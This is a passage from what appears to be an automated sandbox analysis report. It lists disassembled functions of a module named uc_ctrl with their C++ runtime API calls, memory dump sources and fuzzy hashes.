                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 2887603401-0
                                                                                              • Opcode ID: 3f9a78147b72b0639c1e4334017c807024fdbeea22894ee71193d8cd506c5c04
                                                                                              • Instruction ID: 2583187c5549e92dc1a054067850987c19e30972b989893d8fac21d702bbce6f
                                                                                              • Opcode Fuzzy Hash: 3f9a78147b72b0639c1e4334017c807024fdbeea22894ee71193d8cd506c5c04
                                                                                              • Instruction Fuzzy Hash: 3BF05EB6A00306CBCB10AFE8C8616DDB770BF08A98F70496ED5556BB40DB70A649CB41
                                                                                              Function 6CEFBDDB Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFBDE2
                                                                                              • new.LIBCMT ref: 6CEFBDF6
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6CEFD605,00000000,?,?,?,00000004), ref: 6CEFBE10
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6CEFD605,00000000,?,?,?,00000004), ref: 6CEFBE24
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 2887603401-0
                                                                                              • Opcode ID: 4edec366cac030afedf151e96befab4c76cba1fc5b18c0bf8df934e854f971fa
                                                                                              • Instruction ID: 4ea88a4572f1b24c6d60cd014e6a171d593848e729b8b7d5bbbb436c62778d71
                                                                                              • Opcode Fuzzy Hash: 4edec366cac030afedf151e96befab4c76cba1fc5b18c0bf8df934e854f971fa
                                                                                              • Instruction Fuzzy Hash: E4F01275A003058BEB04EFA0C4227ED73B4AF08B59F60585DD0515B781DFB85649C781
                                                                                              Function 6CEE5ED0 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Init@ios_base@std@@IAEXXZ.MSVCP140(?,?,6CEE543D,?,?,?,?,?,?,00000008), ref: 6CEE5ED6
                                                                                                • Part of subcall function 6CEE47C0: __EH_prolog3.LIBCMT ref: 6CEE47C7
                                                                                                • Part of subcall function 6CEE47C0: ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000000), ref: 6CEE47F8
                                                                                                • Part of subcall function 6CEE47C0: new.LIBCMT ref: 6CEE47FF
                                                                                                • Part of subcall function 6CEE47C0: ?_Init@locale@std@@CAPAV_Locimp@12@_N@Z.MSVCP140(00000001,00000008,00000000,00000000,?,?,?,?,?,00000000), ref: 6CEE480B
                                                                                              • ?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEDD@Z.MSVCP140(00000020,?,?,?,?,?,?,?,?,6CEE543D,?,?), ref: 6CEE5EE9
                                                                                                • Part of subcall function 6CEE6140: __EH_prolog3.LIBCMT ref: 6CEE6147
                                                                                                • Part of subcall function 6CEE6140: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000008,6CEE5EEE,00000020,?,?,?,?,?,?,?,?,6CEE543D,?,?), ref: 6CEE6150
                                                                                                • Part of subcall function 6CEE6140: std::locale::~locale.LIBCPMT ref: 6CEE6169
                                                                                              • ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000020,?,?,?,?,?,?,?,?,6CEE543D,?,?), ref: 6CEE5F02
                                                                                                • Part of subcall function 6CEE4270: _CxxThrowException.VCRUNTIME140(00000000,00000000), ref: 6CEE4309
                                                                                              • ?_Addstd@ios_base@std@@SAXPAV12@@Z.MSVCP140(?,00000020,?,?,?,?,?,?,?,?,6CEE543D,?,?), ref: 6CEE5F0E
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?clear@ios_base@std@@H_prolog3$?getloc@ios_base@std@@?widen@?$basic_ios@Addstd@ios_base@std@@D@std@@@std@@ExceptionInit@ios_base@std@@Init@locale@std@@Locimp@12@_ThrowU?$char_traits@V12@@Vlocale@2@std::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2004809026-0
                                                                                              • Opcode ID: cf6d826b501820d30bf1e5a2ed049b256d87a9bdad3bc25c6b5786ae7236f817
                                                                                              • Instruction ID: bfbde6b8c85088cd41c6548a1509fa4c81153acddf96b1b53d31884eacdddc9d
                                                                                              • Opcode Fuzzy Hash: cf6d826b501820d30bf1e5a2ed049b256d87a9bdad3bc25c6b5786ae7236f817
                                                                                              • Instruction Fuzzy Hash: 2BF0E5311057505BEB2096619444B8777F8AF0936DF20480EE5868BF82C775F448CBD0
                                                                                              Function 6CEFBE5C Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFBE63
                                                                                              • new.LIBCMT ref: 6CEFBE77
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6CEFD56C,00000000,?,?,?,00000004), ref: 6CEFBE91
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6CEFD56C,00000000,?,?,?,00000004), ref: 6CEFBEA5
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 2887603401-0
                                                                                              • Opcode ID: 1c5914d0aec4fbfa29b859f46820780dc5c548b36a7969b91d835f815819a304
                                                                                              • Instruction ID: 71fd9e11ef065102a89e92fe662bf9ee12349bc2ea5b5588c76097b946d464e5
                                                                                              • Opcode Fuzzy Hash: 1c5914d0aec4fbfa29b859f46820780dc5c548b36a7969b91d835f815819a304
                                                                                              • Instruction Fuzzy Hash: 0FF01271A003058BEB14EBA0C4127DD72B5AF08B59F60585DD04167781DFB85689C751
                                                                                              Function 6CEEFFE2 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEEFFE9
                                                                                              • new.LIBCMT ref: 6CEEFFFD
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6CEF9FD4,00000000,?,?,?,00000004), ref: 6CEF0017
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6CEF9FD4,00000000,?,?,?,00000004), ref: 6CEF002B
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 2887603401-0
                                                                                              • Opcode ID: d78f773d2b26ddee935ee12ef8c0f07dd9a2e0ed18a3052cb4b36213dcfa638e
                                                                                              • Instruction ID: 1519732b259f20064d0b98394bdd51ebc48661a9291ef9d2442e1858df9b0104
                                                                                              • Opcode Fuzzy Hash: d78f773d2b26ddee935ee12ef8c0f07dd9a2e0ed18a3052cb4b36213dcfa638e
                                                                                              • Instruction Fuzzy Hash: 7CF01271A003158BEB15EBA0C8227DD72B4AF18B59F60485DD05157781DFB85649C745
                                                                                              Function 6CEEDF30 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Init@ios_base@std@@IAEXXZ.MSVCP140(?,?,6CEEDE0D,?,?,?,?,?,?,00000008), ref: 6CEEDF36
                                                                                                • Part of subcall function 6CEE47C0: __EH_prolog3.LIBCMT ref: 6CEE47C7
                                                                                                • Part of subcall function 6CEE47C0: ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000000), ref: 6CEE47F8
                                                                                                • Part of subcall function 6CEE47C0: new.LIBCMT ref: 6CEE47FF
                                                                                                • Part of subcall function 6CEE47C0: ?_Init@locale@std@@CAPAV_Locimp@12@_N@Z.MSVCP140(00000001,00000008,00000000,00000000,?,?,?,?,?,00000000), ref: 6CEE480B
                                                                                              • ?widen@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBE_WD@Z.MSVCP140(00000020,?,?,?,?,?,?,?,?,6CEEDE0D,?,?), ref: 6CEEDF49
                                                                                                • Part of subcall function 6CEEDF80: __EH_prolog3.LIBCMT ref: 6CEEDF87
                                                                                                • Part of subcall function 6CEEDF80: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000008,6CEEDF4E,00000020,?,?,?,?,?,?,?,?,6CEEDE0D,?,?), ref: 6CEEDF90
                                                                                                • Part of subcall function 6CEEDF80: std::locale::~locale.LIBCPMT ref: 6CEEDFA9
                                                                                              • ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000020,?,?,?,?,?,?,?,?,6CEEDE0D,?,?), ref: 6CEEDF63
                                                                                                • Part of subcall function 6CEE4270: _CxxThrowException.VCRUNTIME140(00000000,00000000), ref: 6CEE4309
                                                                                              • ?_Addstd@ios_base@std@@SAXPAV12@@Z.MSVCP140(?,00000020,?,?,?,?,?,?,?,?,6CEEDE0D,?,?), ref: 6CEEDF6F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?clear@ios_base@std@@H_prolog3$?getloc@ios_base@std@@?widen@?$basic_ios@_Addstd@ios_base@std@@ExceptionInit@ios_base@std@@Init@locale@std@@Locimp@12@_ThrowU?$char_traits@_V12@@Vlocale@2@W@std@@@std@@std::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 3764480325-0
                                                                                              • Opcode ID: 0df82c36292b0d5dcd72caee195b6b676590052e2b4a2341262e1a9b93b3cf8d
                                                                                              • Instruction ID: d4386386894789315164cd5bca2970608209c61482d8d273bd17d24984fcd12a
                                                                                              • Opcode Fuzzy Hash: 0df82c36292b0d5dcd72caee195b6b676590052e2b4a2341262e1a9b93b3cf8d
                                                                                              • Instruction Fuzzy Hash: 62F0A03520031067E720D6A19445B8A73B4AF09769F20480EE4825BF80D775F544CBC4
                                                                                              Function 6CEFBBF1 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFBBF8
                                                                                              • new.LIBCMT ref: 6CEFBC0C
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6CEFD69E,00000000,?,?,?,00000004), ref: 6CEFBC26
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6CEFD69E,00000000,?,?,?,00000004), ref: 6CEFBC3A
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 2887603401-0
                                                                                              • Opcode ID: 22ef6524adae8f826446814795dbc739d2a54db36d18fb8e8bb34dd349cb4099
                                                                                              • Instruction ID: 4ff5c473ee91aed663dbf6fa0b48a4071f07580123a71035b778a39a397ef077
                                                                                              • Opcode Fuzzy Hash: 22ef6524adae8f826446814795dbc739d2a54db36d18fb8e8bb34dd349cb4099
                                                                                              • Instruction Fuzzy Hash: ABF03771A003058BEB04EF94C5227ED73B4AF08B59F74485DD05167781DFB8564DC781
                                                                                              Function 6CEE6EE0 Relevance: 6.0, APIs: 4, Instructions: 27COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___crtIsPackagedApp.LIBCPMT ref: 6CEE6EE3
                                                                                                • Part of subcall function 6CF0A020: ___crt_IsPackagedAppHelper.LIBCPMT ref: 6CF0A02A
                                                                                              • _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEE6EEC
                                                                                              • ___crtCreateSymbolicLinkW.LIBCPMT(?,?,00000000), ref: 6CEE6F05
                                                                                              • GetLastError.KERNEL32 ref: 6CEE6F11
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Packaged___crt$CreateErrorHelperLastLinkSymbolic___crt__errno
                                                                                              • String ID:
                                                                                              • API String ID: 2330564887-0
                                                                                              • Opcode ID: 1e3a1495c46f68e0c18c4b5b822ee4110d87ee0d864d93121726062f368e9f5f
                                                                                              • Instruction ID: c5e35c09bec1aa40a8693d2c4b4107b63a2011a16ba85c4b670c28f4791845c8
